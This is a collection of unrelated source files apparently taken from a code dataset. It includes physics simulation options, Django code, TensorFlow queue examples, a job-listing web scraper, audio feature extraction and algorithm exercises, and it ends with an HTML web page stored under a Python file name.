# file /home/hep/ss4314/cmtuser/Gauss_v45r8/Gen/DecFiles/options/14165002.py generated: Fri, 27 Mar 2015 15:47:59 # # Event Type: 14165002 # # ASCII decay Descriptor: [B_c+ -> ([B_s0]nos -> (D_s- -> K+ K- pi-) pi+, [B_s0]os -> (D_s+ -> K+ K- pi+) pi-) pi+]cc # from Configurables import Generation Generation().EventType = 14165002 Generation().SampleGenerationTool = "Special" from Configurables import Special Generation().addTool( Special ) Generation().Special.ProductionTool = "BcVegPyProduction" Generation().PileUpTool = "FixedLuminosityForRareProcess" from Configurables import ToolSvc from Configurables import EvtGenDecay ToolSvc().addTool( EvtGenDecay ) ToolSvc().EvtGenDecay.UserDecayFile = "$DECFILESROOT/dkfiles/Bc_Bspi+_Dspi=BcVegPy,DecProdCut.dec" Generation().Special.CutTool = "BcDaughtersInLHCb"
c8602c38456724f4cf0ecdb69a254026ec4a2afc
2855f26e603ec7bf5b18876b54b75ee4577bdf2c
/bankrecon/migrations/0002_reconciliation_marker.py
bc25443b472d1f0c6d6130e214e29d0aa13b7ae3
[]
no_license
zkenstein/ppob_multipay_v2
e8ea789c395c6fa5b83ba56fbaf5ea08a2a77a14
85296f925acf3e94cc371637805d454581391f6e
refs/heads/master
2022-03-04T13:53:30.893380
2019-11-16T22:49:50
2019-11-16T22:49:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
395
py
# Generated by Django 2.1.5 on 2019-04-16 16:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('bankrecon', '0001_initial'), ] operations = [ migrations.AddField( model_name='reconciliation', name='marker', field=models.TextField(blank=True, max_length=30), ), ]
20188e1c1daf1aba8413510e021265f023defa6c
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/ke4FSMdG2XYxbGQny_24.py
6930f8ab144bbed9488241d9059899adbcd6d6d4
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
173
py
def even_odd_transform(lst, n): for i in range(len(lst)): for j in range(n): if lst[i] %2==0 : lst[i]-= 2 else : lst[i]+= 2 return lst
521c0123282061359a18e1ed2fb872d8782cea5d
2dc12207547c3438421905aee1c506d427e0cbf1
/ch17-01-ๅ˜้‡ไฝœ็”จๅŸŸ.py
292464fb81bc78836df82ae8823bc6f238000a73
[]
no_license
xmduhan/reading_notes__learning_python
8b61ea30be3fb50e1ad49764fcfc8bee8189f48e
3526f6b07cb2be799b2baddd7a2e3afef27e7b81
refs/heads/master
2020-05-17T16:26:23.624423
2014-06-15T04:43:38
2014-06-15T04:43:38
16,638,479
1
0
null
null
null
null
UTF-8
Python
false
false
835
py
# -*- coding: utf-8 -*- """""""""""""""""""""""""""""""""""""""""""""""""""""""""" ๅ˜้‡ไฝœ็”จๅŸŸ """""""""""""""""""""""""""""""""""""""""""""""""""""""""" #%% ๅฏไปฅๆ˜ฏ็›ดๆŽฅ่ฎฟ้—ฎglobalๆ•ฐๆฎ x = 1 def fun(): print(x) # ่ฏปๅ–ไธ€ไธชๅ€ผ fun() #%% ๅฏไปฅๆ˜ฏ็›ดๆŽฅ่ฎฟ้—ฎglobalๆ•ฐๆฎ x = 1 def fun(): y = x + 1 # ่ฏปๅ–ไธ€ไธชๅ€ผ print 'y =', y fun() #%% x = 1 def fun(): x = 2 # ๆ— ๆณ•ไฝฟ็”จx=2๏ผŒไฟฎๆ”นๅ…จๅฑ€ๅ˜้‡ fun() print "x =", x #%% x = 1 def fun(): global x x = 2 # ๆŒ‡ๅฎšไบ†global x๏ผŒๆ‰€ไปฅx=2๏ผŒๅฏไปฅไฟฎๆ”นๅ…จๅฑ€ๅ˜้‡ fun() print 'x =' ,x #%% x = 1 def fun(): #import ch17-01 # ็”ฑไบŽ้‚ฃไธช่ฏฅๆญป็š„"-"ๅฏผ่‡ดๆ— ๆณ•ไฝฟ็”จimport่ฏญๅฅๅฏผๅ…ฅๆจกๅ— import sys sys.modules['ch17-01']
5d8cabc7d618696a371038fb7960237e18f85354
7bededcada9271d92f34da6dae7088f3faf61c02
/pypureclient/flasharray/FA_2_17/models/directory_space.py
181da14d597c49d1cb1260370a9839af5f77bbba
[ "BSD-2-Clause" ]
permissive
PureStorage-OpenConnect/py-pure-client
a5348c6a153f8c809d6e3cf734d95d6946c5f659
7e3c3ec1d639fb004627e94d3d63a6fdc141ae1e
refs/heads/master
2023-09-04T10:59:03.009972
2023-08-25T07:40:41
2023-08-25T07:40:41
160,391,444
18
29
BSD-2-Clause
2023-09-08T09:08:30
2018-12-04T17:02:51
Python
UTF-8
Python
false
false
4,530
py
# coding: utf-8 """ FlashArray REST API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.17 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re import six import typing from ....properties import Property if typing.TYPE_CHECKING: from pypureclient.flasharray.FA_2_17 import models class DirectorySpace(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'id': 'str', 'name': 'str', 'space': 'Space', 'time': 'int' } attribute_map = { 'id': 'id', 'name': 'name', 'space': 'space', 'time': 'time' } required_args = { } def __init__( self, id=None, # type: str name=None, # type: str space=None, # type: models.Space time=None, # type: int ): """ Keyword args: id (str): A globally unique, system-generated ID. The ID cannot be modified and cannot refer to another resource. name (str): A locally unique, system-generated name. The name cannot be modified. space (Space): Displays size and space consumption information. time (int): The timestamp of when the data was taken. Measured in milliseconds since the UNIX epoch. """ if id is not None: self.id = id if name is not None: self.name = name if space is not None: self.space = space if time is not None: self.time = time def __setattr__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key)) self.__dict__[key] = value def __getattribute__(self, item): value = object.__getattribute__(self, item) if isinstance(value, Property): raise AttributeError else: return value def __getitem__(self, key): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key)) return object.__getattribute__(self, key) def __setitem__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key)) object.__setattr__(self, key, value) def __delitem__(self, key): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key)) object.__delattr__(self, key) def keys(self): return self.attribute_map.keys() def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): if hasattr(self, attr): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(DirectorySpace, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, DirectorySpace): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
720de787bbd74071e10d2e644a9c055ed7813456
d2bb57efe62e1747a6ea2287da5c21fd18bfde02
/mayan/apps/documents/tests/test_setting_migrations.py
36906893232b807e0b2d006b9a929f1f5f38beb9
[ "Apache-2.0" ]
permissive
O2Graphics/Mayan-EDMS
1bf602e17a6df014342433827a500863eaed2496
e11e6f47240f3c536764be66828dbe6428dceb41
refs/heads/master
2020-09-28T06:26:39.728748
2019-12-09T19:00:33
2019-12-09T19:00:33
226,711,506
0
0
NOASSERTION
2019-12-09T19:00:34
2019-12-08T18:21:06
null
UTF-8
Python
false
false
2,133
py
from __future__ import unicode_literals from django.conf import settings from django.utils.encoding import force_bytes from mayan.apps.common.tests.base import BaseTestCase from mayan.apps.common.tests.mixins import EnvironmentTestCaseMixin from mayan.apps.smart_settings.classes import Setting from mayan.apps.storage.utils import NamedTemporaryFile from ..settings import ( setting_documentimagecache_storage_arguments, setting_storage_backend_arguments ) class DocumentSettingMigrationTestCase(EnvironmentTestCaseMixin, BaseTestCase): def test_documents_storage_backend_arguments_0001(self): test_value = {'location': 'test value'} with NamedTemporaryFile() as file_object: settings.CONFIGURATION_FILEPATH = file_object.name file_object.write( force_bytes( '{}: {}'.format( 'DOCUMENTS_CACHE_STORAGE_BACKEND_ARGUMENTS', '"{}"'.format( Setting.serialize_value(value=test_value) ) ) ) ) file_object.seek(0) Setting._config_file_cache = None self.assertEqual( setting_documentimagecache_storage_arguments.value, test_value ) def test_documents_cache_storage_backend_arguments_0001(self): test_value = {'location': 'test value'} with NamedTemporaryFile() as file_object: settings.CONFIGURATION_FILEPATH = file_object.name file_object.write( force_bytes( '{}: {}'.format( 'DOCUMENTS_STORAGE_BACKEND_ARGUMENTS', '"{}"'.format( Setting.serialize_value(value=test_value) ) ) ) ) file_object.seek(0) Setting._config_file_cache = None self.assertEqual( setting_storage_backend_arguments.value, test_value )
cfbcbb6c08a5180985b1d36858eed3a4722b30aa
fb2e7a15d2b0ab34cc47664a526640aa80441083
/try7.py
93f5ff0e9a63ab816b0d7441bd017dc63c7e993e
[]
no_license
Jeonghwan-Yoo/python_practice
c7b4d19b1da589b12ec025f3ff5729407ee0ca26
c82e0308b4b3a227ddbd560cedecc49c036ef4c2
refs/heads/master
2020-07-27T00:12:33.139274
2019-09-16T13:26:49
2019-09-16T13:26:49
208,806,360
0
0
null
null
null
null
UTF-8
Python
false
false
220
py
a=[1,2,3] try: a[5]=6 except (ZeroDivisionError,IndexError,TypeError): print('ZeroDivisionError,IndexError or TypeError') except: print('undefined error') else: print('good') finally: print('necessarily executed')
93b5dafce54315a1f6bba023be93717bd858afa6
95761ba9ca92c9bf68f3fb88524ee01ddba9b314
/api-web/src/www/application/modules/search/handlers.py
91e5c196d1bcf213917388cff3ae848ef577618a
[]
no_license
duytran92-cse/nas-workboard
918adf4b976f04a13dc756f8dc32aecf397c6258
bebe7674a7c6e8a3776264f18a3b7ca6b417dc7e
refs/heads/master
2022-10-23T01:02:39.583449
2020-06-14T19:25:01
2020-06-14T19:25:01
272,268,882
0
0
null
null
null
null
UTF-8
Python
false
false
984
py
from notasquare.urad_api import * from application.models import * from application import constants from django.conf import settings from django.db.models import Q class Search(handlers.standard.GetHandler): def get_data(self, data): kw=str(data['keyword']) result = { 'board': [], 'category': [], 'story': [], 'matches': 0, } for board in Board.objects.filter(name__icontains=kw): record = {'name': board.name, 'id': board.id} result['board'].append(record) for category in BoardCategory.objects.filter(name__icontains=kw): record = {'name': category.name, 'board_id': category.board.id, 'category_id': category.id} result['category'].append(record) for story in BoardStory.objects.filter(name__icontains=kw): record = {'name': story.name, 'board_id': story.board.id, 'story_id': story.id} result['story'].append(record) result['matches'] = len(result['board']) + len(result['category']) + len(result['story']) return result
a4b36ef3012a4833e99a6ced7f53a024ab683991
77b94c318ee6014f6080aa34886b85aa47500992
/scraping/utils.py
c65ed994a3d7f8351d77613dd234a3d3fb7902c3
[]
no_license
dm1tro69/rabota_find
472c8417784333806db22eb4bb9ef722f5df779d
d3b903478186c9fa7313f1fedfefe6b2fe069164
refs/heads/master
2020-09-06T20:11:23.468166
2019-11-06T21:00:16
2019-11-06T21:00:16
220,536,761
0
0
null
null
null
null
UTF-8
Python
false
false
6,194
py
import codecs import datetime import requests from bs4 import BeautifulSoup as BS import time headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)' ' Chrome/76.0.3809.100 Safari/537.36'} def djinni(): session = requests.Session() base_url = 'https://djinni.co/jobs/?primary_keyword=Python&location=ะšะธะตะฒ' domain = 'https://djinni.co' jobs =[] urls = [] urls.append(base_url) urls.append(base_url + '&page=2') #req = session.get(base_url, headers=headers) for url in urls: for url in urls: time.sleep(2) req = session.get(url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, "html.parser") li_list = bsObj.find_all('li', attrs={'class': 'list-jobs__item'}) for li in li_list: div = li.find('div', attrs={'class': 'list-jobs__title'}) title = div.a.text href = div.a['href'] short = 'No description' # company = "No name" descr = li.find('div', attrs={'class': 'list-jobs__description'}) if descr: short = descr.p.text jobs.append({'href': domain + href, 'title': title, 'descript': short, 'company': "No name"}) return jobs def rabota(): session = requests.Session() base_url = 'https://rabota.ua/zapros/python/%d0%ba%d0%b8%d0%b5%d0%b2?period=3&lastdate=' domain = 'https://rabota.ua' jobs = [] urls = [] yesterday = datetime.date.today() - datetime.timedelta(1) one_day_ago = yesterday.strftime('%d.%m.%Y') base_url = base_url + one_day_ago urls.append(base_url) req = session.get(base_url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, 'html.parser') pagination = bsObj.find('dl', attrs={'id': 'ctl00_content_vacancyList_gridList_ctl23_pagerInnerTable'}) if pagination: pages = pagination.find_all('a', attrs={'class': 'f-always-blue'}) for page in pages: urls.append(domain + page['href']) for url in urls: time.sleep(2) req = session.get(url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, 'html.parser') table = bsObj.find('table', attrs={'id': 'ctl00_content_vacancyList_gridList'}) if table: tr_list = bsObj.find_all('tr', attrs={'id': True}) for tr in tr_list: h3 = tr.find('h3', attrs={'class': 'f-vacancylist-vacancytitle'}) title = h3.a.text href = h3.a['href'] short = 'No description' company = 'No name' logo = tr.find('p', attrs={'class': 'f-vacancylist-companyname'}) if logo: company = logo.a.text p = tr.find('p', attrs={'class': 'f-vacancylist-shortdescr'}) if p: short = p.text jobs.append({'href': domain + href, 'title': title, 'descript': short, 'company': company}) return jobs def work(): base_url = 'https://www.work.ua/jobs-kyiv-python/' session = requests.Session() domain = 'https://www.work.ua' jobs = [] urls = [] urls.append(base_url) req = session.get(base_url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, 'html.parser') pagination = bsObj.find('ul', attrs={'class': 'pagination'}) if pagination: pages = pagination.find_all('li', attrs={'class': False}) for page in pages: urls.append(domain + page.a['href']) for url in urls: time.sleep(2) req = session.get(url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, 'html.parser') div_list = bsObj.find_all('div', attrs={'class': 'job-link'}) for div in div_list: title = div.find('h2') href = title.a['href'] short = div.p.text company = 'No name' logo = div.find('img') if logo: company = logo['alt'] jobs.append({'href': domain + href, 'title': title.text, 'descript': short, 'company': company}) return jobs def dou(): base_url = 'https://jobs.dou.ua/vacancies/?category=Python&city=%D0%9A%D0%B8%D0%B5%D0%B2' session = requests.Session() jobs = [] urls = [] urls.append(base_url) req = session.get(base_url, headers=headers) for url in urls: time.sleep(2) req = session.get(url, headers=headers) if req.status_code == 200: bsObj = BS(req.content, 'html.parser') div = bsObj.find('div', attrs={'id': 'vacancyListId'}) if div: li_list = div.find_all('li', attrs={'class': 'l-vacancy'}) for li in li_list: a = div.find('a', attrs={'class': 'vt'}) title = a.text href = a['href'] short = 'No description' company = 'No name' a_company = li.find('a', attrs={'class': 'company'}) if a_company: company = a_company.text descr = li.find('div', attrs={'class': 'sh-info'}) if descr: short = descr.text jobs.append({'href': href, 'title': title, 'descript': short, 'company': company}) return jobs
c95b62caf60eaabd5548d4fd3d27c9f4b7bd46b8
ffb6d3055d80d3403591f027d71701d4527b139a
/ACM-Solution/BEENUMS.py
d78ba92b0956733ea134415d77456e0bc1e97785
[ "MIT" ]
permissive
wasi0013/Python-CodeBase
811f71024e81699363c1cd3b93e59412f20e758d
4a7a36395162f68f84ded9085fa34cc7c9b19233
refs/heads/master
2020-12-24T21:01:38.893545
2016-04-26T15:13:36
2016-04-26T15:13:36
57,138,236
2
1
null
null
null
null
UTF-8
Python
false
false
258
py
import sys import math while True: a=int(input()) if a<0 : break d= 9+ 12*(a-1) r= math.sqrt(d) if r*r ==d : r-=3 if r%6==0: print("Y") else : print("N") else : print("N")
0462a8a8229711aa4990eb67d187f7b2cb49d77c
fdedfbc1290016ae293edcc41df96d0a3fb8a99c
/tensorflow-tutorial/tf_imageprocess/tfqueue.py
28610c999e22b3f05a98c40c0cede9f3286b0e42
[]
no_license
Hsingmin/machine-learning
5d798ff974429fccb84ad61b2f72f4bb375c80e3
a554d9c2324b5daf0dde4c78f4a9b6e6b630e413
refs/heads/master
2021-01-23T18:47:51.153195
2018-06-14T14:48:09
2018-06-14T14:48:09
102,808,183
4
0
null
null
null
null
UTF-8
Python
false
false
3,029
py
# tfqueue.py -- Queue as one kind of node in tensorflow have its own status . # import tensorflow as tf import numpy as np import threading import time ''' # Create a FIFO queue that can store two elements of integer type at most . q = tf.FIFOQueue(2, "int32") # Initialize elements in queue with enqueue_many() function . init = q.enqueue_many(([0, 10],)) # Pop the tail element into variable x with dequeue() function . x = q.dequeue() y = x + 1 # Push y into queue . q_inc = q.enqueue([y]) with tf.Session() as sess: # Run queue initialize operation . init.run() for _ in range(5): # The whole process including popping x , increment and pushing # will be executed when running q_inc . v, _ = sess.run([x, q_inc]) print(v) ''' ''' # Inter-threads communication with tf.Coordinator class . # Thread quit when shoul_stop() returns True , # Notice the other threads quit by calling request_stop() function . # Function running in thread . def MyLoop(coord, worker_id): # Judge whethear stop and print own worker_id . while not coord.should_stop(): # Stop all threads randomly . if np.random.rand() < 0.1: print("Stop from id: %d\n" % worker_id, end="") # Notice the other threads quit . coord.request_stop() else: print("Working on id : %d\n" % worker_id, end="") time.sleep(1) # Create Coordination class . coord = tf.train.Coordinator() # Create 5 threads . threads = [threading.Thread(target=MyLoop, args=(coord, i,)) for i in range(5)] # Start all threads . for t in threads: t.start() # Wait for all threads quiting . coord.join(threads) ''' # Create a fifo queue with 100 elements of real data type at most . queue = tf.FIFOQueue(100, "float") # Push operation to queue . enqueue_op = queue.enqueue([tf.random_normal([1])]) # Create multiple threads to run enqueue operations . # [enqueue_op]*5 starting 5 threads in which enqueue_op running . qr = tf.train.QueueRunner(queue, [enqueue_op]*5) # Add created QueueRunner into collection of Tensorflow Graph . # In tf.train.add_queue_runner() , no collection specified , then # add QueueRunner into tf.GraphKeys.QUEUE_RUNNERS collection defaultly . tf.train.add_queue_runner(qr) # Pop operation from queue . out_tensor = queue.dequeue() with tf.Session() as sess: # Coordinate started threads using tf.train.Coordinator() . coord = tf.train.Coordinator() # Explictly calling tf.train.start_queue_runners() to start all # threads when QueueRunner() used , otherwise program would wait # forever when calling dequeue operation . # # tf.train.start_queue_runners() will start all QueueRunners in # tf.GraphKeys.QUEUE_RUNNERS collection , because it can only # start QueueRunners specified in tf.train.add_queue_runner() . threads = tf.train.start_queue_runners(sess=sess, coord=coord) # Get value popped from queue . for _ in range(3): print(sess.run(out_tensor)[0]) # Stop all threads with tf.train.Coordinator . coord.request_stop() coord.join(threads)
cf687ec2adc2c5f5e262d3341fb5ff6157f9c7bf
3ae1409baed016cc9061ef98806ee7786300d8d2
/python_import/feature_handling.py
98d3e5bfbed1361706d6d46523872abc8630214b
[]
no_license
zashin-AI/minsun
550e8b7650fab4e265d11aed186590cbd6df5587
144181b619e6716c584b9282adbf8aa4a9fe4fd9
refs/heads/master
2023-05-08T21:11:02.771058
2021-06-04T01:59:24
2021-06-04T01:59:24
352,831,635
0
0
null
null
null
null
UTF-8
Python
false
false
5,368
py
import librosa import numpy as np import sklearn import soundfile as sf def load_data_mfcc(filepath, filename, labels): ''' Args : filepath : ํŒŒ์ผ ๋ถˆ๋Ÿฌ ์˜ฌ ๊ฒฝ๋กœ filename : ๋ถˆ๋Ÿฌ์˜ฌ ํŒŒ์ผ ํ™•์žฅ์ž๋ช… e.g. wav, flac.... labels : label ๋ฒˆํ˜ธ (์—ฌ์ž 0, ๋‚จ์ž : 1) ''' count = 1 dataset = list() label = list() def normalize(x, axis = 0): return sklearn.preprocessing.minmax_scale(x, axis = axis) files = librosa.util.find_files(filepath, ext=[filename]) files = np.asarray(files) for file in files: y, sr = librosa.load(file, sr=22050, duration=1.0) length = (len(y) / sr) if length < 5.0 : pass else: mels = librosa.feature.mfcc(y, sr=sr) mels = librosa.amplitude_to_db(mels, ref=np.max) mels = normalize(mels, axis = 1) dataset.append(mels) label.append(labels) print(str(count)) count+=1 if labels == 0: out_name = 'female' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mfcc_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mfcc_label.npy', arr = label ) elif labels == 1: out_name = 'male' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mfcc_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mfcc_label.npy', arr = label ) data = np.load( out_dir + out_name + '_mfcc_data.npy' ) lab = np.load( out_dir + out_name + '_mfcc_label.npy' ) return data, lab ########################################################################################## def load_data_mel(filepath, filename, labels): ''' Args : filepath : ํŒŒ์ผ ๋ถˆ๋Ÿฌ ์˜ฌ ๊ฒฝ๋กœ filename : ๋ถˆ๋Ÿฌ์˜ฌ ํŒŒ์ผ ํ™•์žฅ์ž๋ช… e.g. wav, flac.... labels : label ๋ฒˆํ˜ธ (์—ฌ์ž 0, ๋‚จ์ž : 1) ''' count = 1 dataset = list() label = list() def normalize(x, axis=0): return sklearn.preprocessing.minmax_scale(x, axis=axis) files = librosa.util.find_files(filepath, ext=[filename]) files = np.asarray(files) for file in files: y, sr = librosa.load(file, sr=22050, duration=10.0) length = (len(y) / sr) if length < 10.0 : pass else: mels = librosa.feature.melspectrogram(y, sr=sr, n_fft=512, hop_length=128) mels = librosa.amplitude_to_db(mels, ref=np.max) dataset.append(mels) label.append(labels) print(str(count)) count+=1 if labels == 0: out_name = 'female' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mel_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mel_label.npy', arr = label ) elif labels == 1: out_name = 'male' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mel_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mel_label.npy', arr = label ) data = np.load( out_dir + out_name + '_mel_data.npy' ) lab = np.load( out_dir + out_name + '_mel_label.npy' ) return data, lab #################################################################################### # ๋…ธ์ด์ฆˆ ์ œ๊ฑฐ ํŒŒ์ผ def load_data_denoise_mel(filepath, filename, labels): ''' Args : filepath : ํŒŒ์ผ ๋ถˆ๋Ÿฌ ์˜ฌ ๊ฒฝ๋กœ filename : ๋ถˆ๋Ÿฌ์˜ฌ ํŒŒ์ผ ํ™•์žฅ์ž๋ช… e.g. wav, flac.... labels : label ๋ฒˆํ˜ธ (์—ฌ์ž 0, ๋‚จ์ž : 1) ''' count = 1 dataset = list() label = list() def normalize(x, axis=0): return sklearn.preprocessing.minmax_scale(x, axis=axis) files = librosa.util.find_files(filepath, ext=[filename]) files = np.asarray(files) for file in files: y, sr = librosa.load(file, sr=22050, duration=1.0) length = (len(y) / sr) if length < 5.0 : pass else: mels = librosa.feature.melspectrogram(y, sr=sr, n_fft=512, hop_length=128) mels = librosa.amplitude_to_db(mels, ref=np.max) dataset.append(mels) label.append(labels) print(str(count)) count+=1 if labels == 0: out_name = 'female_denoise' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mel_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mel_label.npy', arr = label ) elif labels == 1: out_name = 'male_denoise' out_dir = 'c:/nmb/nmb_data/npy/' np.save( out_dir + out_name + '_mel_data.npy', arr = dataset ) np.save( out_dir + out_name + '_mel_label.npy', arr = label ) data = np.load( out_dir + out_name + '_mel_data.npy' ) lab = np.load( out_dir + out_name + '_mel_label.npy' ) return data, lab
6963934853735f22bd2b699b0ac88fcbc6d34969
387400d70932b7b65f0ad0e24cb8290a8ce6ed46
/August_18/google2018/109. Convert Sorted List to Binary Search Tree.py
c30387c4193b90ad3e1a2c0cb9827f9132a6a1a9
[]
no_license
insigh/Leetcode
0678fc3074b6294e8369756900fff32c7ce4e311
29113d64155b152017fa0a98e6038323d1e8b8eb
refs/heads/master
2021-01-20T07:51:21.051366
2018-09-17T13:33:15
2018-09-17T13:33:15
90,051,425
0
0
null
null
null
null
UTF-8
Python
false
false
1,499
py
""" Given a singly linked list where elements are sorted in ascending order, convert it to a height balanced BST. For this problem, a height-balanced binary tree is defined as a binary tree in which the depth of the two subtrees of every node never differ by more than 1. Example: Given the sorted linked list: [-10,-3,0,5,9], One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST: 0 / \ -3 9 / / -10 5 """ # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def sortedListToBST(self, head): """ :type head: ListNode :rtype: TreeNode """ if not head: return None nums = [] while head: nums.append(head.val) head = head.next root = self.constructBinaryTree(nums) return root def constructBinaryTree(self,nums): if not nums: return None if len(nums) == 1: return TreeNode(nums[0]) L = len(nums) M = len(nums)//2 node = TreeNode(nums[M]) node.left = self.constructBinaryTree(nums[:M]) node.right = self.constructBinaryTree(nums[M+1:]) return node
8cf1f23012e9884ade8bf68f444cf1c1d258659f
0529196c4d0f8ac25afa8d657413d4fc1e6dd241
/runnie0427/02167/2167.py2.py
647d88318f0d43ea322c4891d86388afa298c05c
[]
no_license
riyuna/boj
af9e1054737816ec64cbef5df4927c749808d04e
06420dd38d4ac8e7faa9e26172b30c9a3d4e7f91
refs/heads/master
2023-03-17T17:47:37.198570
2021-03-09T06:11:41
2021-03-09T06:11:41
345,656,935
0
0
null
null
null
null
UTF-8
Python
false
false
17,370
py
<!DOCTYPE html> <html lang="ko"> <head> <title>Baekjoon Online Judge</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta charset="utf-8"><meta name="author" content="์Šคํƒ€ํŠธ๋งํฌ (Startlink)"><meta name="keywords" content="ACM-ICPC, ICPC, ํ”„๋กœ๊ทธ๋ž˜๋ฐ, ์˜จ๋ผ์ธ ์ €์ง€, ์ •๋ณด์˜ฌ๋ฆผํ”ผ์•„๋“œ, ์ฝ”๋”ฉ, ์•Œ๊ณ ๋ฆฌ์ฆ˜, ๋Œ€ํšŒ, ์˜ฌ๋ฆผํ”ผ์•„๋“œ, ์ž๋ฃŒ๊ตฌ์กฐ"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta property="og:type" content="website"><meta property="og:image" content="http://onlinejudgeimages.s3-ap-northeast-1.amazonaws.com/images/boj-og-1200.png"><meta property="og:site_name" content="Baekjoon Online Judge"><meta name="format-detection" content = "telephone=no"><meta name="msapplication-config" content="none"><link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"><link rel="manifest" href="/site.webmanifest"><link rel="mask-icon" href="/safari-pinned-tab.svg" color="#0076c0"><meta name="msapplication-TileColor" content="#00aba9"><meta name="theme-color" content="#ffffff"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/css/bootstrap.min.css"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/unify/css/style.css?version=20210107"><link href="https://fonts.googleapis.com/css?family=Noto+Sans+KR:400,700|Open+Sans:400,400i,700,700i|Source+Code+Pro&amp;subset=korean" rel="stylesheet"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/css/connect.css?version=20210107"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/css/result.css?version=20210107"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/unify/css/custom.css?version=20210107"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.css"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/unify/css/theme-colors/blue.css?version=20210107"><link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/css/pace.css"> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-10874097-3"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-10874097-3'); </script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/noty/3.1.4/noty.min.css" /><meta name="username" content=""> <link rel="stylesheet" href="https://ddo7jzca0m2vt.cloudfront.net/unify/css/pages/page_404_error.css"> </head> <body> <div class="wrapper"> <div class="header no-print"><div class="topbar"><div class="container"><ul class="loginbar pull-right"><li><a href = "/register">ํšŒ์›๊ฐ€์ž…</a></li><li class="topbar-devider"></li><li><a href = "/login?next=%2Fsource%2Fdownload%2F5734597">๋กœ๊ทธ์ธ</a></li></ul></div></div><div class="navbar navbar-default mega-menu" role="navigation"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-responsive-collapse"><span class="sr-only">Toggle navigation</span><span class="fa fa-bars"></span></button><a class="navbar-brand" href="/"><img id="logo-header" src="https://d2gd6pc034wcta.cloudfront.net/images/[email protected]" alt="Logo" data-retina></a></div><div class="collapse navbar-collapse navbar-responsive-collapse"><ul class="nav navbar-nav"><li class="dropdown mega-menu-fullwidth "><a href="javascript:void(0);" class="dropdown-toggle" data-toggle="dropdown">๋ฌธ์ œ</a><ul class="dropdown-menu"><li><div class="mega-menu-content"><div class="container"><div class="row equal-height"><div class="col-md-3 equal-height-in"><ul class="list-unstyled equal-height-list"><li><h3>๋ฌธ์ œ</h3></li><li><a href = "/problemset">์ „์ฒด ๋ฌธ์ œ</a></li><li><a href = "/category">๋ฌธ์ œ 